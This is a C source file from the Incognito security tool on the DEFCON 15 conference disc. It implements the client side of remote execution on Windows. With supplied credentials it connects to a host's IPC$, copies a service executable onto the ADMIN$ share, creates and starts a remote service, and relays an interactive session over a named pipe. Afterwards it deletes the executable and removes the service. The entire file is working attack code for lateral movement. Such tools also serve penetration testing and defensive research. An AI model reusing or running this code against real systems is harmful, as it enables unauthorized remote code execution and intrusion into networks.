home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
DEFCON 15
/
DefCon15.bin
/
Speakers
/
Jennings
/
Extras
/
incognito
/
remote_connection.c
< prev
next >
Wrap
C/C++ Source or Header
|
2007-03-12
|
12KB
|
378 lines
#define _CRT_SECURE_NO_DEPRECATE 1
#include <windows.h>
#include <initguid.h>
#include <stdio.h>
#include <Lm.h>
#include <signal.h>
#include "handle_arguments.h"
#define PIPE_FORMAT "%s\\pipe\\%s"
#define PIPE_TIMEOUT 1000
#define BUFSIZE 1500
#define CHARS_IN_GUID 39
#define MESSAGESIZE 1000
BOOL GetPhysicalPathForShare(char* szServer, char* lpszShare, char** lpszPhysicalPath, int nBufferSize);
BOOL GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath);
void connect_to_named_pipe(char *lpszServer);
DWORD WINAPI ReadFromNamedPipe(LPVOID p);
DWORD WINAPI WriteToNamedPipe(LPVOID p);
void handle_interrupt(int signal);
static HANDLE hPipeR, hPipeW;
static GUID guidPipe;
static WCHAR wszGUID[CHARS_IN_GUID + 1];
static char szGUID[CHARS_IN_GUID + 1], rExename[MAX_PATH];
static SC_HANDLE hscm = NULL;
static SC_HANDLE hsvc = NULL;
static SERVICE_STATUS sStatus;
void connect_to_machine(char *server_name, char *username, char *password, int argc, char *argv[])
{
DWORD i, rc;
char *szWritableShare = NULL, *szWritableSharePhysical = NULL, machineName[MAX_PATH],
resourceName[MAX_PATH], szFullServicePath[MAX_PATH], localPath[MAX_PATH], **varg;
NETRESOURCE rec;
rec.dwType = RESOURCETYPE_DISK;
rec.lpLocalName = NULL;
rec.lpProvider = NULL;
if (_snprintf(machineName, MAX_PATH, "\\\\%s", server_name) == -1)
machineName[sizeof(machineName)-1] = '\0';
szWritableShare = (char*)calloc(MAX_PATH + 1, sizeof(char));
szWritableSharePhysical = (char*)calloc(MAX_PATH + 1, sizeof(char));
// Make copies of arguments to pass to remote service
varg = (char**)calloc(argc, sizeof(char*));
for (i=1;i<(unsigned int)argc;i++)
varg[i] = argv[i];
// Register signal handlers and get local path
signal(SIGINT, handle_interrupt);
signal(SIGTERM, handle_interrupt);
signal(SIGABRT, handle_interrupt);
GetModuleFileNameA(NULL, localPath, MAX_PATH);
// Need to establish a connection to enumerate shares sometimes
sprintf(resourceName, "%s\\IPC$", machineName);
rec.lpRemoteName = resourceName;
// Connect to remote host if username and password supplied
if (username && password)
{
output_string("[*] Attempting to establish new connection to %s\n", resourceName);
WNetCancelConnection2A(rec.lpRemoteName, 0, TRUE);
if ((rc = WNetAddConnection2A(&rec, password, username, 0)))
output_string("[-] Logon to %s failed: error %d\n", resourceName, rc);
else
output_string("[+] Logon to %s succeeded\n", resourceName);
}
else
output_string("[-] No username and password supplied\n");
if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare))
{
output_string("[-] Unable to find writable share on %s\n", machineName);
return;
}
if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0)
{
output_string("[-] Unable to find a writable share on %s\n", machineName);
return;
}
if (_snprintf(szFullServicePath, MAX_PATH,"%s\\%s", szWritableSharePhysical, "incognito_service.exe") == -1)
szFullServicePath[sizeof(szFullServicePath)-1] = '\0';
// copy exe file to remote machine
output_string("[*] Copying service to %s\n", machineName);
strncpy(strrchr(localPath, '\\') + 1, "incognito_service.exe", MAX_PATH-1-(strrchr(localPath, '\\') + 1 - localPath));
localPath[MAX_PATH-1] = '\0';
strncpy(rExename, szWritableShare, MAX_PATH-1);
rExename[MAX_PATH-1] = '\0';
strncat(rExename, "\\incognito_service.exe", MAX_PATH-strlen(rExename));
if (!CopyFileA(localPath, rExename, FALSE))
{
if (GetLastError() == ERROR_FILE_EXISTS)
output_string("[-] File already exists");
else
{
output_string("[-] Couldn't copy %s to destination %s: %d\n", localPath, rExename, GetLastError());
return;
}
}
else
output_string("[+] Copied service successfully\n");
// Need to create a guid for the pipe name
memset(wszGUID, 0, CHARS_IN_GUID + 1);
memset(szGUID, 0, CHARS_IN_GUID + 1);
CoCreateGuid(&guidPipe);
StringFromGUID2(&guidPipe, wszGUID, CHARS_IN_GUID);
wcstombs(szGUID, wszGUID, CHARS_IN_GUID+1);
// establish the service on remote machine
hscm = OpenSCManagerA(machineName, NULL, SC_MANAGER_CREATE_SERVICE);
if(!hscm)
{
output_string("[-] Failed to open service control manager\n");
return;
}
// Create service
output_string("[*] Creating incognito service on remote host\n");
hsvc = CreateServiceA(hscm, "incognito_service", "Incognito Service", SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
szFullServicePath, NULL, NULL, NULL, NULL, NULL);
if(!hsvc)
{
output_string("[-] Failed to create service. Attempting to open pre-existing service: %d\n", GetLastError());
hsvc = OpenServiceA(hscm, "incognito_service", SERVICE_ALL_ACCESS);
if(!hsvc)
{
output_string("[-] Failed to open service: %d\n", GetLastError());
return;
}
else
output_string("[+] Existing service found and opened successfully\n");
}
else
output_string("[+] Created service successfully\n");
// run service
varg[0] = szGUID;
output_string("[*] Starting service\n");
if(!StartService(hsvc, argc, (const char**)varg))
{
output_string("[-] Service start failed: %d\n", GetLastError());
return;
}
else
output_string("[+] Service started\n");
// Connect to named pipe
connect_to_named_pipe(machineName);
// when the executable is finished running, it can be deleted - clean up
while (1)
{
Sleep(100);
if (rExename[0] != 0)
if(DeleteFileA(rExename))
{
Sleep(100);
output_string("\n[*] Service shutdown detected. Service executable file deleted\n");
break;
}
}
output_string("[*] Deleting service\n");
DeleteService(hsvc);
}
static void connect_to_named_pipe(char *lpszServer)
{
char szOutputBuffer[2 * MAX_PATH], szPipeName[MAX_PATH];
int nError = 2;
DWORD dwThreadId[2], dwMode;
ZeroMemory(szPipeName, MAX_PATH);
ZeroMemory(szOutputBuffer, 2 * MAX_PATH);
if (_snprintf(szPipeName, MAX_PATH, PIPE_FORMAT, lpszServer, szGUID) == -1)
szPipeName[sizeof(szPipeName)-1] = '\0';
while (nError == 2)
{
BOOL bPipe;
bPipe = WaitNamedPipeA(szPipeName, 30000);
if (!bPipe)
{
// Error 2 means the pipe is not yet available, keep trying
nError = GetLastError();
Sleep(100);
}
else
nError = 0;
break;
}
output_string("[*] Connecting to incognito service named pipe\n");
hPipeR = CreateFileA(szPipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
while(GetLastError() == ERROR_PIPE_BUSY)
{
Sleep(100);
hPipeR = CreateFileA(szPipeName, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
}
if(hPipeR == INVALID_HANDLE_VALUE)
{
output_string("[-] Failed to create a new client-side pipe: error %d\n", GetLastError());
return;
}
hPipeW = CreateFileA(szPipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
while(GetLastError() == ERROR_PIPE_BUSY)
{
Sleep(100);
hPipeW = CreateFileA(szPipeName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
}
if(hPipeW == INVALID_HANDLE_VALUE)
{
output_string("[-] Failed to create a new client-side pipe: error %d\n", GetLastError());
return;
}
dwMode = PIPE_READMODE_MESSAGE;
SetNamedPipeHandleState(
hPipeR, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
SetNamedPipeHandleState(
hPipeW, // pipe handle
&dwMode, // new pipe mode
NULL, // don't set maximum bytes
NULL); // don't set maximum time
output_string("[+] Successfully connected to named pipe %s\n", szGUID);
output_string("[*] Redirecting I/O to remote process\n\n");
CreateThread(
NULL, // default security attributes
0, // use default stack size
ReadFromNamedPipe, // thread function
NULL, // argument to thread function
0, // use default creation flags
&dwThreadId[0]); // returns the thread identifier
CreateThread(
NULL, // default security attributes
0, // use default stack size
WriteToNamedPipe, // thread function
NULL, // argument to thread function
0, // use default creation flags
&dwThreadId[1]); // returns the thread identifier
}
static DWORD WINAPI ReadFromNamedPipe(LPVOID p)
{
DWORD dwRead;
CHAR chBuf[BUFSIZE];
while (1)
{
if (!ReadFile(hPipeR, chBuf, BUFSIZE, &dwRead, NULL) && GetLastError() != ERROR_MORE_DATA)
break;
fwrite(chBuf, sizeof(char), dwRead, OUTPUT);
}
return 0;
}
static DWORD WINAPI WriteToNamedPipe(LPVOID p)
{
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE];
while (gets(chBuf))
{
dwRead = strlen(chBuf);
WriteFile(hPipeW, chBuf, dwRead+1, &dwWritten, NULL);
}
return 0;
}
static void handle_interrupt(int signal)
{
output_string("\n\n");
output_string("[*] Caught interrupt signal, cleaning up\n");
output_string("[*] Stopping Service\n");
if (!ControlService(hsvc, SERVICE_CONTROL_STOP, &sStatus))
output_string("[-] Failed to stop service: %d\n", GetLastError());
Sleep(200);
exit(signal);
}
static BOOL GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath)
{
// Returns the drive letter if successful, otherwise 0
PSHARE_INFO_2 BufPtr, p;
NET_API_STATUS res;
DWORD er = 0, tr = 0, resume = 0, i;
wchar_t server[MAX_PATH];
char szTemp[MAX_PATH], szTemp2[MAX_PATH];
BOOL bFound = FALSE;
char szServerWithSlashes[MAX_PATH];
ZeroMemory(server, MAX_PATH);
ZeroMemory(szServerWithSlashes, MAX_PATH);
ZeroMemory(*lplpPhysicalPath, nPhysicalBufferSize);
ZeroMemory(*lplpUNCPath, nUNCPathSize);
//_snprintf(szServerWithSlashes, MAX_PATH, "\\\\%s", szServer);
if (_snprintf(szServerWithSlashes, MAX_PATH, "%s", szServer) == -1)
szServerWithSlashes[sizeof(szServerWithSlashes)-1] = '\0';
mbstowcs(server, szServerWithSlashes, strlen(szServerWithSlashes));
do
{
res = NetShareEnum((LPSTR)server, 2, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for(i = 1; i <= er; i++)
{
ZeroMemory(szTemp, MAX_PATH);
wcstombs(szTemp, (LPWSTR)(p->shi2_netname), MAX_PATH);
// Look for shares that are not SYSVOL or NETLOGON, and that have a physical path
if (/* added admin$ fudge*/ !_stricmp(szTemp, "ADMIN$") && _stricmp(szTemp, "SYSVOL") != 0 && _stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi2_path)) > 0)
{
// If this is a potentially workable share, try uploading something
memset(szTemp2, 0, MAX_PATH);
if (_snprintf(szTemp2, MAX_PATH, "%s\\%s", szServerWithSlashes, szTemp) == -1)
szTemp2[sizeof(szTemp2)-1] = '\0';
if (1/*CanUpload(szTemp2)*/)
{
// Success!
// Copy the physical path to the out variable
wcstombs(szTemp, (LPWSTR)(p->shi2_path), MAX_PATH);
strncpy(*lplpPhysicalPath, szTemp, nPhysicalBufferSize);
// Also copy the UNC path to the out variable
strncpy(*lplpUNCPath, szTemp2, nUNCPathSize);
bFound = TRUE;
break;
}
// Otherwise continue and try another share
}
p++;
}
NetApiBufferFree(BufPtr);
}
else
output_string("[-] Error accessing ADMIN$ share: %ld\n",res);
}
while (res == ERROR_MORE_DATA); // end do
return bFound;
}